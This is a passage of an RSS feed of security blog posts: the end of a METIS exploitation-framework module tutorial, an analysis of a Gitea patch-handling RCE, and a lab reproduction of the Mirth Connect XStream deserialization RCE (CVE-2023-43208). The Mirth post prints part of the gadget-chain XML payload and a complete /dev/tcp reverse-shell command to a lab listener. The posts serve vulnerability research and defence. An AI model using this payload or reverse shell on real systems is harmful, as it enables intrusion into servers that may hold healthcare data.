information when the process exits.</p><p>The Redis scanner demonstrates reporting methods such as:</p><pre>self.report_host(h.host, state=&quot;up&quot;)<br><br>self.report_service(<br>    h.host,<br>    h.port,<br>    proto=&quot;tcp&quot;,<br>    state=&quot;open&quot;,<br>    name=&quot;redis&quot;,<br>    banner=&quot;&quot;,<br>)<br><br>self.report_vuln(<br>    name=self.NAME,<br>    address=h.host,<br>    severity=&quot;critical&quot;,<br>    refs=&quot;CVE-2022-0543&quot;,<br>    info=&quot;Lua sandbox escape via package.loadlib&quot;,<br>)</pre><p>These calls come from the supplied Redis module. They show how a module can pass host, service, and vulnerability information into framework reporting functionality.</p><p>The module should report only findings supported by its evidence.</p><p>A failed connection is not proof of a vulnerability, and an open port is not proof that a service is exploitable.</p><p>The Redis example also checks whether a database workspace is active before recording findings. That keeps reporting tied to the framework’s current state rather than assuming a database is always available.</p><p><strong>Good reporting is more than saving output. It’s preserving findings with enough context to understand what was observed and why.</strong></p><h3>10. Make the Workflow Repeatable</h3><p>Security research often involves running the same workflow more than once.</p><p>Manually entering every option becomes tedious and increases the chance of mistakes.</p><p>Resource files can make a console workflow repeatable. A simple illustrative file might look like this:</p><pre>use auxiliary/scanner/redis_cve_2022_0543<br>set RHOSTS 192.168.56.101<br>set RPORT 6379<br>run</pre><p>Save a workflow in a resource file only after confirming that the current METIS console supports the commands and file syntax used in it.</p><p>Repeatability is useful for lab work, regression testing, and comparing behaviour across versions. Keep target lists and configuration appropriate to the environment you’re authorised to test.</p><p>The bigger idea is straightforward: <strong>a good workflow should be repeatable without relying on someone remembering every step.</strong></p><h3>11. Build Your First METIS Module</h3><p>Understanding the architecture is one thing. Writing a module that fits into it is where the design becomes practical.</p><p>We’ll look at both module types: an auxiliary scanner and an exploit module. The examples use the conventions visible in the supplied METIS code, while avoiding the assumption that illustrative snippets have been independently tested against the complete framework.</p><h3>Part A: Build an Auxiliary Module</h3><p>Let’s start with a simple TCP connection check.</p><p>It doesn’t exploit anything. It checks whether a TCP connection can be established to a configured host and port.</p><h4>Step 1: Create the File</h4><p>In the project’s auxiliary scanner directory, create:</p><pre>auxiliary/<br>└── scanner/<br>    └── tcp_connect_check.py</pre><p>Use the directory layout present in your checkout. The path shown here follows the organisation of the supplied Redis scanner.</p><h4>Step 2: Add the Code</h4><pre>import socketfrom core import colors<br>from core.auxiliary import Auxiliary<br>from core.module import Option<br><br>class TCPConnectCheck(Auxiliary):<br>    NAME = &quot;TCP Connection Check&quot;<br>    DESCRIPTION = (<br>        &quot;Checks whether a TCP connection can be established &quot;<br>        &quot;to a specified host and port.&quot;<br>    )<br>    AUTHOR = &quot;K3ysTr0K3R&quot;<br>    OPTIONS = [<br>        Option(<br>            &quot;RHOST&quot;,<br>            required=True,<br>            description=&quot;Target hostname or IP address&quot;,<br>        ),<br>        Option(<br>            &quot;RPORT&quot;,<br>            default=80,<br>            type=int,<br>            description=&quot;Target TCP port&quot;,<br>        ),<br>        Option(<br>            &quot;TIMEOUT&quot;,<br>            default=3.0,<br>            type=float,<br>            description=&quot;Connection timeout in seconds&quot;,<br>        ),<br>    ]<br>    <br>    def action(self):<br>        host = self.options[&quot;RHOST&quot;]<br>        port = self.options[&quot;RPORT&quot;]<br>        timeout = self.options[&quot;TIMEOUT&quot;]<br>        print(colors.info(f&quot;Checking {host}:{port}&quot;))<br>        try:<br>            with socket.create_connection(<br>                (host, port),<br>                timeout=timeout,<br>            ):<br>                print(colors.good(<br>                    f&quot;TCP connection succeeded: {host}:{port}&quot;<br>                ))<br>            except socket.timeout:<br>            print(colors.warn(<br>                f&quot;Connection timed out: {host}:{port}&quot;<br>            ))<br>            except OSError as exc:<br>            print(colors.bad(<br>                f&quot;Connection failed: {type(exc).__name__}&quot;<br>            ))</pre><h4>Step 3: Understand the Code</h4><p>The class inherits from Auxiliary, placing it in the auxiliary module category.</p><p>OPTIONS declares the values the user can configure. RHOST is required, while RPORT and TIMEOUT have defaults.</p><p>action() contains the main operation. It reads those values, attempts a TCP connection, and prints the result.</p><p>The with statement ensures the successful connection is closed after the check. Exception handling separates a timeout from other operating-system connection errors.</p><p>And here’s the limitation: <strong>a successful TCP connection only tells you that the connection was established.</strong> It doesn’t establish which service is listening or whether a vulnerability exists.</p><p>That’s exactly the kind of distinction a well-designed module should communicate.</p><h4>Step 4: Load and Run It</h4><p>The intended workflow is to search for the module, select it, configure the options, and run it:</p><pre>metis &gt; search tcp<br>metis &gt; use auxiliary/scanner/tcp_connect_check<br>metis auxiliary(scanner/tcp_connect_check) &gt; options<br>metis auxiliary(scanner/tcp_connect_check) &gt; set RHOST 192.168.56.101<br>metis auxiliary(scanner/tcp_connect_check) &gt; set RPORT 80<br>metis auxiliary(scanner/tcp_connect_check) &gt; set TIMEOUT 3<br>metis auxiliary(scanner/tcp_connect_check) &gt; run</pre><p>These commands are illustrative. Verify the exact module name, discovery path, and console syntax against your current METIS checkout before publishing this as a tested walkthrough.</p><p>If the module doesn’t load, check its location, imports, class inheritance, and the loader’s expectations.</p><p>If it loads but doesn’t run, inspect how the console dispatches auxiliary modules.</p><p>The point of this exercise isn’t to build the world’s most advanced scanner. It’s to understand how a small, self-contained module fits into the framework.</p><h3>Part B: Understand the Exploit-Module Structure</h3><p>An exploit module uses the Exploit base class and typically implements exploit() for its main operation. It may also implement check() when the framework supports pre-exploitation checks.</p><p>The Joomla JCE module demonstrates this structure. Its class defines metadata and options, constructs an HTTP base URL, creates a request session, wraps HTTP requests for tracing, and implements separate methods for assessment and exploitation.</p><p>Rather than reproducing its operational webshell-upload behaviour as a beginner exercise, we can use a non-operational template to show the class structure.</p><h4>Step 1: Define the Class and Options</h4><pre>from core import colors<br>from core.check import CheckResult<br>from core.exploit import Exploit<br>from core.module import Option<br><br>class ExampleExploit(Exploit):<br>    NAME = &quot;Example HTTP Exploit&quot;<br>    DESCRIPTION = (<br>        &quot;Demonstrates the structure of a METIS exploit module.&quot;<br>    )<br>    AUTHOR = &quot;K3ysTr0K3R&quot;<br>    CHECK = TrueOPTIONS = [<br>        Option(<br>            &quot;RHOST&quot;,<br>            required=True,<br>            description=&quot;Target host&quot;,<br>        ),<br>        Option(<br>            &quot;RPORT&quot;,<br>            default=80,<br>            type=int,<br>            description=&quot;HTTP port&quot;,<br>        ),<br>        Option(<br>            &quot;SSL&quot;,<br>            default=False,<br>            type=bool,<br>            description=&quot;Use HTTPS&quot;,<br>        ),<br>        Option(<br>            &quot;TIMEOUT&quot;,<br>            default=10.0,<br>            type=float,<br>            description=&quot;HTTP timeout in seconds&quot;,<br>        ),<br>    ]<br>def check(self):<br>        # Implement a vulnerability-specific assessment.<br>        return CheckResult.UNKNOWN<br>def exploit(self):<br>        print(colors.info(<br>            &quot;Exploit module selected and configured.&quot;<br>        ))<br>        print(colors.warn(<br>            &quot;No exploitation action is implemented.&quot;<br>        ))<br>        return None</pre><p>This is a structural example, not a functional exploit. It illustrates the interface visible in the supplied Joomla module without pretending that an actual vulnerability check or exploitation operation has been implemented.</p><h4>Step 2: Separate Configuration From Logic</h4><p>The Joomla module defines RHOST, RPORT, SSL, TIMEOUT, and VERIFY_SHELL.</p><p>This lets the console manage configuration rather than requiring users to edit the source code for every target.</p><p>Its _base() helper centralises construction of the HTTP base URL. Its _session() helper configures a reusable requests.Session. Its _req() helper wraps HTTP requests and integrates with the framework&#39;s tracing functionality.</p><p>Those are useful design patterns, but they should only be added to a module when the module needs them.</p><p>A small check doesn’t need a large abstraction layer simply because a more complex exploit has one.</p><p>The supplied Joomla example disables TLS certificate verification. That can be convenient in a controlled lab, but it weakens certificate validation. Avoid copying that setting automatically; document the trade-off and use certificate verification where practical.</p><h4>Step 3: Implement an Evidence-Based Check</h4><p>A check should gather evidence relevant to the vulnerability being assessed.</p><p>The Joomla module currently searches for Joomla-related signatures and attempts to extract a CSRF token. That may indicate that Joomla is present and that a token can be retrieved, but it does not conclusively prove that the JCE vulnerability exists or that exploitation will succeed.</p><p>A stronger check should be tied to the vulnerability’s documented conditions and validated against suitable test cases.</p><p>If the available evidence is inconclusive, return UNKNOWN rather than making an unsupported claim.</p><h4>Step 4: Handle Requests and Failures Cleanly</h4><p>When a module communicates over HTTP, consider connection errors, timeouts, unexpected status codes, redirects, response content, and TLS verification.</p><p>Keep request handling in reusable helpers when doing so improves consistency.</p><p>Avoid swallowing exceptions without explaining what failed, and don’t label an operation successful simply because the server returned a response.</p><p><strong>The result should reflect what the module actually verified.</strong></p><h4>Step 5: Understand Session Integration</h4><p>The Joomla module demonstrates integration with the framework’s session manager using self.framework.sessions.add_webshell(...).</p><p>This is a framework-level feature, not a requirement for every exploit module.</p><p>Session registration should only occur after the module has verified that a usable session exists. The implementation should also account for session cleanup and failure handling.</p><p>For a first module, concentrate on the class contract, options, check behaviour, and error handling. Add more advanced integrations only when the module requires them and the framework API is understood.</p><h3>Part C: Test Before Contributing</h3><p>Before contributing either kind of module, work through this checklist:</p><ul><li>The module imports successfully.</li><li>METIS discovers and loads it from the intended directory.</li><li>Its options appear with the expected defaults and types.</li><li>Required options are handled correctly.</li><li>Network errors and timeouts are handled cleanly.</li><li>The output reflects the evidence actually collected.</li><li>Checks distinguish uncertainty from confirmed findings.</li><li>Session management is only used when necessary and correctly implemented.</li><li>Testing takes place against authorised systems.</li><li>The module’s purpose, references, requirements, and limitations are documented.</li></ul><p>If a module writes findings to a database, test that behaviour separately.</p><p>If it creates sessions, test their lifecycle and cleanup.</p><p>If it performs vulnerability checks, test positive, negative, and inconclusive cases.</p><blockquote><em>A module isn’t finished just because it runs once.</em></blockquote><p>It should also behave predictably when something goes wrong.</p><h3>Part D: Contribute to METIS</h3><p>Once your module is ready, compare it with existing modules that perform similar tasks. Keep the naming, metadata, options, and output consistent with the rest of the project.</p><p>METIS is hosted on Gitea:</p><p><strong>Repository:</strong> <a href="https://gitea.com/K3ysTr0K3R/METIS">https://gitea.com/K3ysTr0K3R/METIS</a></p><p>Use the project’s contribution workflow to propose your changes. Include a clear explanation of what the module does, its dependencies, how it was tested, and what limitations remain.</p><p>The goal isn’t to add another Python file just to increase the module count.</p><p>The goal is to add something another researcher can understand, reproduce in an authorised environment, and maintain.</p><p>That’s the point of a modular framework: the core handles the shared machinery, while each module stays responsible for one clearly defined task.</p><h3>12. The Rough Edges Matter</h3><p>A modular framework introduces its own engineering challenges.</p><p>Dynamic imports can fail. A module may declare an option that the console doesn’t handle as expected. A vulnerability check can produce false positives. A scanner can overwhelm a target if concurrency isn’t controlled. A session can become stale or fail to clean up properly.</p><p>These aren’t minor details.</p><p><strong>They affect whether other researchers can trust the tool.</strong></p><p>Some areas worth testing as METIS evolves include:</p><ul><li><strong>Module discovery:</strong> clear errors for failed imports and invalid classes.</li><li><strong>Option validation:</strong> predictable handling of missing values and incorrect types.</li><li><strong>Check accuracy:</strong> honest distinctions between positive, negative, and inconclusive evidence.</li><li><strong>TLS handling:</strong> secure defaults and clear configuration.</li><li><strong>Target expansion:</strong> guardrails around large ranges and concurrent requests.</li><li><strong>Session lifecycle:</strong> reliable registration, interaction, and cleanup.</li><li><strong>Reporting:</strong> findings that match the evidence and integrate correctly with workspaces.</li></ul><p>The framework should make common tasks easier without hiding important failure conditions.</p><p>That’s the balance worth aiming for: less repeated work, but no loss of transparency.</p><h3>13. Where METIS Goes From Here</h3><p>METIS is a continuing project, not a finished product.</p><p>The direction is to keep the framework modular, make it easier to contribute new research modules, and improve the shared infrastructure without forcing every module to reinvent it.</p><p>That means improving module discovery, tightening option handling, testing the session lifecycle, and making findings more consistent.</p><p>It also means documenting the framework well enough that contributors can work with the code instead of guessing how it behaves.</p><p>A framework becomes more useful when people can extend it without needing to understand every line of the core first.</p><p>That’s the idea behind METIS.</p><h3>Final Thoughts</h3><p>Building an exploit is one challenge.</p><p>Building a framework that can support different modules, handle configuration, preserve findings, and manage sessions is another.</p><p>METIS brings those pieces together in a Python-based project shaped around modular security research. Its architecture takes inspiration from established frameworks such as Metasploit while leaving room to develop its own approach.</p><p>There’s still work to do. That’s part of building a real project: testing assumptions, fixing rough edges, and making the code easier for the next researcher to understand.</p><p>If you’re interested in the implementation, want to inspect the modules, or want to contribute, check out the project on Gitea:</p><p><a href="https://gitea.com/K3ysTr0K3R/METIS"><strong>K3ysTr0K3R/METIS</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CqqjQhA8ak2xOUKsZ9zx1g.png" /></figure><p><em>Build carefully. Test honestly. Make the next module better than the last.</em></p><p><em>METIS is intended for authorised security research, education, and testing on systems you own or have explicit permission to assess. Contributors are responsible for ensuring their modules are used lawfully and responsibly.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=14753b361eb4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2026-60004: Gitea RCE — Turning Git Patch Handling Into Code Execution]]></title>
            <link>https://k3ystr0k3r.medium.com/cve-2026-60004-gitea-rce-turning-git-patch-handling-into-code-execution-879369e553c7?source=rss-a836b8283aab------2</link>
            <guid isPermaLink="false">https://medium.com/p/879369e553c7</guid>
            <dc:creator><![CDATA[Jared Brits]]></dc:creator>
            <pubDate>Tue, 20 Oct 2026 10:20:47 GMT</pubDate>
            <atom:updated>2026-11-05T10:50:32.382Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By K3ysTr0K3R</strong></p><p>Gitea has a remote code execution vulnerability in its diffpatch functionality. The interesting part isn&#39;t just that patches can be abused. It&#39;s how Git&#39;s own behavior can turn repository-controlled content into an executable hook.</p><p>Tracked as <strong>CVE-2026-60004</strong>, the vulnerability affects Gitea versions 1.17.0 through 1.27.0. The issue is fixed in version 1.27.1.</p><p>The vulnerability has a CVSS 3.1 score of <strong>9.8 (Critical)</strong>. Under the right conditions, an attacker can execute arbitrary commands as the operating system user running Gitea.</p><p>Let’s look at the code and understand what actually goes wrong.</p><h3>The Vulnerable Code</h3><p>The relevant implementation lives in services/repository/files/patch.go, where Gitea applies submitted patches using Git.</p><p>The vulnerable code constructs the Git command like this:</p><pre>cmdApply := gitcmd.NewCommand(<br>    &quot;apply&quot;,<br>    &quot;--index&quot;,<br>    &quot;--recount&quot;,<br>    &quot;--cached&quot;,<br>    &quot;--binary&quot;,<br>)<br><br>if git.DefaultFeatures().CheckVersionAtLeast(&quot;2.32&quot;) {<br>    cmdApply.AddArguments(&quot;-3&quot;)<br>}</pre><p>The important argument here is -3.</p><p>This enables Git’s three-way merge fallback when a patch cannot be applied directly. Instead of relying exclusively on applying the patch to the current contents, Git can use the available versions of a file to attempt a three-way application.</p><p>On its own, that isn’t the vulnerability.</p><p>The problem is how this behavior interacts with the temporary bare repository Gitea creates to process the patch.</p><h3>The Cause of this vuln</h3><p>In a bare Git repository, there is no separate working tree. The repository’s root directory is also its Git control directory, known as $GIT_DIR.</p><p>Normally, Git hooks live inside:</p><pre>$GIT_DIR/hooks/</pre><p>These hooks are executable programs that Git can invoke automatically during certain operations.</p><p>Gitea’s vulnerable patch-processing code creates a temporary bare clone before applying the submitted patch. That means the distinction between ordinary repository files and Git’s internal control files becomes especially important.</p><p>The relevant clone operation in the vulnerable version creates a bare repository:</p><pre>if err := t.Clone(ctx, opts.OldBranch, true); err != nil {<br>    return nil, err<br>}</pre><p>The final true requests a bare clone.</p><p>Now consider what happens when Git’s three-way fallback encounters a conflicting patch.</p><p>Submitting the same patch twice creates an add/add conflict: both applications attempt to add the same file. Under the relevant conditions, Git’s fallback checks out the conflicting path even though the operation uses --cached.</p><p>That behavior is the key to understanding the vulnerability.</p><p>Because the temporary repository is bare, a path such as hooks/post-index-change can resolve directly into Git&#39;s actual hooks directory rather than a separate working tree.</p><p>Git recognizes post-index-change as a hook that can run when the index changes. If attacker-controlled patch content is installed there with executable permissions, Git can execute it during the index-writing operation.</p><p>The important distinction is that --cached does not make the entire operation a security sandbox. The three-way fallback has behavior that must be considered separately from the initial command&#39;s apparent intent.</p><p>In short, <strong>repository-controlled content crosses into Git’s executable control plane</strong>.</p><h3>From Patch Handling to Remote Code Execution</h3><p>The vulnerability is a chain of behaviors rather than a single dangerous argument.</p><p>The sequence is straightforward: Gitea creates a temporary bare repository to process the submitted patch. The patch is applied using git apply, with the three-way fallback enabled on supported Git versions. Reapplying the same patch creates an add/add conflict, and Git&#39;s fallback checks out the conflicting path under the conditions described in the advisory.</p><p>Because the repository is bare, a path under hooks/ can target the repository&#39;s actual hook directory. A subsequent index change can then cause Git to invoke the installed post-index-change hook.</p><p>The result is arbitrary command execution in the context of the Gitea service account.</p><p>This is what makes the issue interesting from a security perspective. Gitea is using Git to perform an ordinary repository operation, but the temporary repository’s layout turns a file-handling operation into a potential code execution path.</p><h3>The Impact of this vuln</h3><p>CVE-2026–60004 is classified as Critical, with a CVSS 3.1 score of 9.8.</p><p>Successful exploitation can provide access to whatever the Gitea operating system account is permitted to access. Depending on the deployment, that could include:</p><ul><li>Repository data and files accessible to the service account.</li><li>Gitea configuration files and application secrets.</li><li>Database credentials and other integration credentials.</li><li>Sensitive process environment variables.</li><li>Internal services reachable from the Gitea host.</li></ul><p>This is not automatically root access. The impact depends on the privileges of the service account, filesystem permissions, container isolation and the surrounding deployment.</p><p>There is an important detail regarding authentication.</p><p>An attacker with ordinary write access to a repository can reach the vulnerable functionality. However, when Gitea’s open-registration configuration allows anyone to register, an outside visitor may be able to create an account and a repository to obtain the required access.</p><p>Open registration is therefore an important exposure factor, but it is not a prerequisite for every possible attack scenario.</p><p>The vulnerability also depends on the relevant Git behavior being available. The published advisory identifies Git 2.32 or newer, an enabled diffpatch route, and a writable, executable temporary filesystem among the relevant conditions.</p><h3>The Fix</h3><p>Gitea fixed the vulnerability in version 1.27.1.</p><p>The correction changes the temporary clone from bare to non-bare:</p><pre>if err := t.Clone(ctx, opts.OldBranch, false); err != nil {<br>    return nil, err<br>}</pre><p>The change is small, but it addresses the underlying repository-layout problem.</p><p>A non-bare repository has a separate working tree. Consequently, a file checked out under hooks/ in the working tree is not automatically written into the repository&#39;s internal $GIT_DIR/hooks/ directory.</p><p>This separates the location where patch-controlled files are processed from the directory where Git stores executable hooks.</p><p>The fix does not depend on treating --cached as a security boundary. Instead, it changes the environment in which the patch operation takes place, preventing the vulnerable path from resolving directly to Git&#39;s live hooks directory in the temporary repository.</p><p>For administrators, the recommended action is to upgrade to Gitea 1.27.1 or a later supported release and review the official security advisory for the applicable upgrade guidance.</p><h3>Final Thoughts</h3><p>The git apply command doesn&#39;t look particularly dangerous at first glance. Neither does creating a temporary repository to process a patch. The problem happens when Git&#39;s fallback behavior, the repository&#39;s layout and hook execution are considered together.</p><p>When an application wraps a complex tool such as Git, it’s not enough to understand the arguments being passed to it. You also need to understand how that tool behaves under conflicting input and how its internal control files are separated from user-controlled data.</p><p>A temporary repository is only useful as an isolation boundary if its structure actually provides that isolation.</p><h3>References</h3><ul><li><a href="https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m">Gitea Security Advisory — GHSA-rcr6–4jqh-j84m</a></li><li><a href="https://github.com/go-gitea/gitea/blob/v1.27.0/services/repository/files/patch.go">Vulnerable patch-processing code — Gitea v1.27.0</a></li><li><a href="https://github.com/go-gitea/gitea/releases/tag/v1.27.1">Gitea 1.27.1 Release</a></li><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-60004">CVE-2026–60004 — NVD</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-gKFE2aFeWSWfR3lHLpKCA.png" /></figure><p><em>This article is intended for security research, vulnerability analysis and defensive purposes.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=879369e553c7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2023-43208: Mirth Connect Pre-Auth RCE — When an Incomplete Patch Isn’t Enough]]></title>
            <link>https://k3ystr0k3r.medium.com/cve-2023-43208-mirth-connect-pre-auth-rce-through-an-incomplete-patch-cbb512bf91df?source=rss-a836b8283aab------2</link>
            <guid isPermaLink="false">https://medium.com/p/cbb512bf91df</guid>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[mirth-connect]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[proof-of-concept]]></category>
            <dc:creator><![CDATA[Jared Brits]]></dc:creator>
            <pubDate>Fri, 16 Oct 2026 16:07:52 GMT</pubDate>
            <atom:updated>2026-11-05T10:56:52.301Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By K3ysTr0K3R</strong></p><p>Mirth Connect 4.4.0 was supposed to fix an unauthenticated remote code execution vulnerability. It didn’t.</p><p>Tracked as <strong>CVE-2023-43208</strong>, the vulnerability bypasses the security fix introduced for CVE-2023-37679, allowing an unauthenticated attacker to reach dangerous Java deserialization functionality and execute commands on the server.</p><p>The issue comes down to XStream, an incomplete denylist, and an alternative gadget chain using classes from Apache Commons Lang and Apache Commons Collections.</p><p>I reproduced the vulnerability against Mirth Connect 4.4.0 in my lab using a module I built for METIS, my modular exploitation and threat intelligence framework. The result was a working shell running as the mirth service account.</p><p>Let’s look at the vulnerable code path, why the original fix failed, and what happened during my reproduction.</p><h3>The Vulnerability</h3><p>Mirth Connect uses XStream to deserialize XML into Java objects. This is useful for applications that need to reconstruct objects from XML, but deserializing untrusted input becomes dangerous when the process allows attacker-controlled objects to trigger unintended behavior.</p><p>In the vulnerable implementation, certain API endpoints process XML before the authentication check is enforced. That means an unauthenticated request can reach the deserialization functionality.</p><p>The problem isn’t XML itself. It’s the combination of untrusted XML, unsafe object deserialization, and an authentication boundary that doesn’t prevent access to the vulnerable processing path.</p><p>This is the core of CVE-2023-43208.</p><h3>How the Original Patch Was Bypassed</h3><p>CVE-2023-43208 is a bypass of the fix for CVE-2023–37679.</p><p>Mirth Connect 4.4.0 introduced a denylist intended to block dangerous classes during XStream deserialization. The approach attempted to prevent exploitation by identifying classes that could be used to construct a malicious object chain.</p><p>The problem with this approach is straightforward: a denylist only blocks what it knows about.</p><p>Horizon3.ai identified an alternative gadget chain using EventBindingInvocationHandler from Apache Commons Lang and InvokerTransformer from Apache Commons Collections. This chain provided another route to invoke functionality that could lead to command execution, despite the earlier restriction on ProcessBuilder.</p><p>The relevant classes are:</p><ul><li>org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler</li><li>org.apache.commons.collections4.functors.ChainedTransformer</li><li>org.apache.commons.collections4.functors.InvokerTransformer</li></ul><p>The chain uses reflection to obtain Runtime, invoke getRuntime(), and reach exec().</p><p>That is the important technical detail. The original patch blocked a known exploitation path without adequately restricting the broader deserialization behavior that made the attack possible.</p><p><strong>Blocking one gadget chain is not the same as making unsafe deserialization safe.</strong></p><p>The original research is documented by Horizon3.ai:</p><p><a href="https://horizon3.ai/attack-research/disclosures/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/">Technical analysis of CVE-2023–43208</a></p><h3>Reproducing the Vulnerability</h3><p>I tested Mirth Connect 4.4.0 in a controlled lab using my METIS module:</p><p>exploit/multi/http/mirth_connect_xstream_rce_cve_2023_43208</p><p>The module begins by requesting the server version through /api/server/version.</p><p>The server returned:</p><pre>HTTP/1.1 200 OK<br>Content-Type: text/plain<br>Content-Length: 5<br><br>4.4.0</pre><p>This established that the target was running the version I intended to test. Since 4.4.1 contains the fix, 4.4.0 was a suitable target for the reproduction.</p><p>METIS then proceeded with the configured exploitation workflow.</p><p>The exploit sends a crafted XML document to /api/users. Within that document, a dynamic-proxy and a transformer chain use the affected Java classes to reach command execution during deserialization.</p><p>The request is not a normal user-creation operation. Its purpose is to exercise the vulnerable deserialization path before authentication is enforced.</p><h3>The XML Payload</h3><p>The relevant portion of the request uses a structure similar to this:</p><pre>&lt;sorted-set&gt;<br>  &lt;string&gt;metis&lt;/string&gt;<br>  &lt;dynamic-proxy&gt;<br>    &lt;interface&gt;java.lang.Comparable&lt;/interface&gt;<br>    &lt;handler class=&quot;org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler&quot;&gt;<br>      &lt;target class=&quot;org.apache.commons.collections4.functors.ChainedTransformer&quot;&gt;<br>        &lt;iTransformers&gt;<br>          &lt;!-- ConstantTransformer and InvokerTransformer chain --&gt;<br>        &lt;/iTransformers&gt;<br>      &lt;/target&gt;<br>      &lt;methodName&gt;transform&lt;/methodName&gt;<br>      &lt;eventTypes&gt;<br>        &lt;string&gt;compareTo&lt;/string&gt;<br>      &lt;/eventTypes&gt;<br>    &lt;/handler&gt;<br>  &lt;/dynamic-proxy&gt;<br>&lt;/sorted-set&gt;</pre><p>The complete transformer chain uses reflection to access Runtime.getRuntime() and invoke Runtime.exec() with the supplied command.</p><p>The sorted-set structure is significant because processing its elements can trigger comparison behavior. That behavior reaches the proxy handler and ultimately the transformer chain.</p><p>The payload therefore relies on more than simply placing a command inside XML. The object graph must trigger the required method calls during deserialization or subsequent object processing.</p><h3>The Shell Command</h3><p>One detail worth examining is the command embedded in the XML payload.</p><p>The shell expression contains HTML-encoded characters:</p><pre>0&amp;lt;&amp;amp;59-;exec 59&amp;lt;&amp;gt;/dev/tcp/172.17.0.1/4444;sh &amp;lt;&amp;amp;59 &amp;gt;&amp;amp;59 2&amp;gt;&amp;amp;59</pre><p>After XML entity decoding, the relevant operators become shell redirections:</p><pre>0&lt;&amp;59-;exec 59&lt;&gt;/dev/tcp/172.17.0.1/4444;sh &lt;&amp;59 &gt;&amp;59 2&gt;&amp;59</pre><p>These are not interchangeable representations of the same literal string. The encoded version is valid XML content; the decoded version contains the shell operators.</p><p>The expression opens a TCP connection to the configured listener and redirects the shell’s input and output through that connection. If the transformer chain executes successfully and the target environment supports the required shell behavior, the result is a reverse shell.</p><p>This is the final stage of the exploitation chain: XML deserialization triggers the Java gadget chain, the chain reaches command execution, and the command attempts to establish the shell connection.</p><h3>Obtaining a Shell Session</h3><p>During my test, the application returned HTTP 500 after receiving the crafted request.</p><p>That response was consistent with the observed exploit behavior, but the status code alone would not establish successful code execution. An HTTP 500 can also result from an ordinary application error.</p><p>The stronger evidence came from the incoming shell connection and the session registered by METIS.</p><p>I interacted with the session and ran id:</p><pre>uid=1000(mirth) gid=1000(mirth) groups=1000(mirth)</pre><p>I then ran whoami:</p><pre>mirth</pre><p>Finally, I inspected the current directory and found Mirth Connect application directories, including conf, logs, webapps, and server-lib.</p><p>Together, these results confirmed command execution in the context of the Mirth Connect service account on my test target.</p><p>The distinction matters: the result demonstrates a working RCE, not a version match or an error response.</p><p>Here is the evidence of the working proof-of-concept exploit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/0*U33UF92BnH5HnyZu" /><figcaption>A full shell was achieved</figcaption></figure><h3>Impact</h3><p>Successful exploitation gives an attacker command execution with the privileges of the Mirth Connect process.</p><p>In my reproduction, that account was mirth, not root.</p><p>Depending on the deployment, access under that account may expose application configuration, accessible credentials, integration data, and files used by the service. Additional impact depends on filesystem permissions, service privileges, container isolation, and access to connected systems.</p><p>Because Mirth Connect is used to exchange and integrate healthcare data, compromise of an instance can have consequences beyond the application itself. The actual reach depends on the permissions and connectivity available to the compromised service account.</p><p>A root-level compromise should not be assumed from the vulnerability alone. It requires additional privileges or a separate path to privilege escalation.</p><h3>The Fix</h3><p>Mirth Connect 4.4.1 addressed CVE-2023-43208 by replacing the relevant XStream denylist configuration with an allowlist of permitted classes.</p><p>That change is important because it reverses the security model.</p><p>A denylist attempts to identify dangerous classes and block them. An allowlist restricts deserialization to explicitly permitted types required by the application.</p><p>This is a stronger approach because the application no longer depends on anticipating every possible gadget chain that might be available through its dependencies.</p><p>Organizations running affected releases should upgrade to Mirth Connect 4.4.1 or a newer supported version, following the vendor’s upgrade guidance. Administrators should also restrict access to Mirth Connect interfaces and investigate suspicious activity if an exposed vulnerable instance may have been targeted.</p><p>Official release information:</p><p><a href="https://github.com/nextgenhealthcare/connect/wiki/4.4.1---What&#39;s-New">Mirth Connect 4.4.1 — What’s New</a></p><h3>My Final Thoughts</h3><p>CVE-2023–43208 shows why patching a known exploit path doesn’t necessarily eliminate the vulnerability. It can introduce new vulns. sometimes the same vuln as the previous one for Mirth Connect</p><p>Mirth Connect 4.4.0 attempted to prevent exploitation by blocking dangerous classes, but the alternative gadget chain demonstrated that the deserialization boundary remained unsafe.</p><p>My reproduction against Mirth Connect 4.4.0 confirmed that the vulnerable path could be used to obtain a shell running as the mirth service account. METIS handled the version check and exploitation workflow, while the resulting session provided direct evidence of command execution.</p><p>The lesson is simple: when an application deserializes untrusted data, security cannot depend on blocking a handful of known classes. The deserialization process itself needs a restrictive security model, and authentication must be enforced before an attacker can reach dangerous processing paths.</p><p><strong>One patch blocked a route to RCE. It didn’t close the door.</strong></p><h3>References</h3><ul><li><a href="https://horizon3.ai/attack-research/disclosures/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/">Horizon3.ai — Technical analysis of CVE-2023–43208</a></li><li><a href="https://github.com/nextgenhealthcare/connect/wiki/4.4.1---What&#39;s-New">Mirth Connect 4.4.1 — Official release notes</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GYxD8J1vfWy56rmOr-Bgxg.png" /></figure><p><em>This research was conducted in a controlled lab environment for vulnerability analysis and defensive security purposes.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cbb512bf91df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2017–8225: One Empty Login Field. Exposed Camera Credentials.]]></title>
